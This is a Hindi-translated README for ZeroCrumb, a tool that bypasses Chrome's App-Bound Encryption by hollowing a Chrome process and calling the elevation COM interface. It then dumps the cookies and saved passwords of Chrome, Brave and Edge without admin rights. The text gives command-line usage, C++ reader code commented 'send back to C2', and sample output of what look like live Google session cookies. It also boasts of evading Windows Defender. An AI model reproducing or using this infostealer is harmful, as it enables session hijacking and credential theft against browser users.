
बिना विशेषाधिकारों के ऐप-बाउंड संरक्षित क्रेडेंशियल्स और कुकीज़ डंप करना।
एप बाउंड संरक्षित क्रेडेंशियल्स और कुकीज़ को बिना विशेषाधिकारों के डंप करना।
ZeroCrumb, Transacted Hollowing का उपयोग करके Chrome इंस्टेंस का प्रतिरूपण करके Chrome Elevation Service को बायपास करता है, जिससे हम IElevator COM इंटरफ़ेस का उपयोग करके App Bound Key को डिक्रिप्ट कर सकते हैं।
फिर, खोखले Chrome इंस्टेंस में चलने वाला key dumper, डिक्रिप्टेड की को Named Pipe के माध्यम से ZeroCrumb को वापस भेज देगा।
इसके बाद, ZeroCrumb पहले प्राप्त की का उपयोग करके निर्दिष्ट ब्राउज़र के कुकीज़/पासवर्ड को डिक्रिप्ट करता है।
ZeroCrumb में नेम्ड पाइप का उपयोग किसी भी प्रोग्राम को, जब तक वह Windows API का उपयोग कर सकता है, ZeroCrumb नेम्ड पाइप से कनेक्ट होने और उसमें से App Bound Key को पढ़ने की अनुमति देता है।
यदि आप ZeroCrumb को लाइब्रेरी के रूप में उपयोग करना चाहते हैं, तो आपको एक DLL संकलित करना होगा जो key dumper के साथ Chrome के hollowing को करने वाला फ़ंक्शन निर्यात करता है। आपको संकलित DLL के .rsrc अनुभाग में key dumper PE को एम्बेड करने और बाद में एप्लिकेशन संसाधनों Windows API के साथ इसे प्राप्त करने की आवश्यकता भी हो सकती है।
आप इसे अपनी पसंद के किसी भी निर्देशिका में चला सकते हैं, जब तक key dumper उसी निर्देशिका में हो।
ZeroCrumb.exe <BROWSER_TYPE> <DUMP_TYPE>
Browser Types:
Chrome -> 0
Brave -> 1
Edge -> 2
Dump Types:
Cookies
Passwords
ZeroCrumb आसानी से उपयोग होने वाली CookieReader और PasswordReader क्लासेस प्रदान करता है:
auto reader = new CookieReader(cookiesPath.c_str(), key);
reader->initSqliteDb();
reader->prepare(queries::cookies);
reader->populateCookies();
for (auto& cookie : reader->cookies) {
string name = cookie->name;
string site = cookie->site;
string path = cookie->path;
string cookieValue = cookie->cookie;
// dump to file, send back to C2, etc...
}
// keep in mind passwords aren't encrypted using the app bound key (yet)
auto reader = new PasswordReader(passwordsPath.c_str(), key);
reader->initSqliteDb();
reader->prepare(queries::passwords);
reader->populatePasswords();
for (auto& password : reader->passwords) {
auto name = password->name;
auto site = password->site;
auto passwordValue = password->password;
// dump to file, send back to C2, etc...
}
ZeroCrumb को दो Vcpkg निर्भरताओं की आवश्यकता है:
sqlite3
libsodium
$ ZeroCrumb.exe 0 Cookies
[*] Reading From Pipe...
App Bound Key: 980f8ea8af3299d966a26242.....
============
Name: SIDCC
Site: .google.com
Path: /
Cookie: AKEyXzXxD19T0KLMkrMC-eUXkrnEFi92OXq6rj1vydvmdL73olBVQGRQ4cG_hK5sqPhO1rLd1CM
============
Name: __Secure-1PSIDCC
Site: .google.com
Path: /
Cookie: AKEyXzXXC8_MNDlVbAaw512aXu-QJkl0uKNW66rhjeufotzoJhT3OPN5TuCQnfKS8l57_WGfDw
============
Name: __Secure-3PSIDCC
Site: .google.com
Path: /
Cookie: AKEyXzVVySM4FWl9itegCN2evcSmBvGc7_iXHqkKZ6VYPKmR--_LsHx1Aflar6SU4nyJiDaFq028
============
Name: udid
Site: .veepn.com
Path: /
Cookie: 0dd5b8bb-8c5b-47f3-87f9-1db8fa7d885f
============
आप ZeroCrumb को कुकीज़ और पासवर्ड के अलावा किसी भी प्रकार के क्रेडेंशियल के साथ काम करने के लिए संशोधित कर सकते हैं।
यह किसी भी तरह से इस बायपास का सबसे गुप्त कार्यान्वयन नहीं है, इसका पता विशिष्ट स्ट्रिंग्स की जाँच, API हुकिंग आदि द्वारा लगाया जा सकता है।
जब मैं इसका परीक्षण कर रहा था, यह विंडोज डिफेंडर को पार कर गया, लेकिन मैंने अन्य AV की जाँच नहीं की है।
यदि भविष्य में इस बायपास कार्यान्वयन पर हस्ताक्षर हो जाता है, तो मैं बायपास को और गुप्त बनाने का काम उपयोगकर्ता के अभ्यास के लिए छोड़ दूंगा।
Transacted Hollowing hasherezade द्वारा।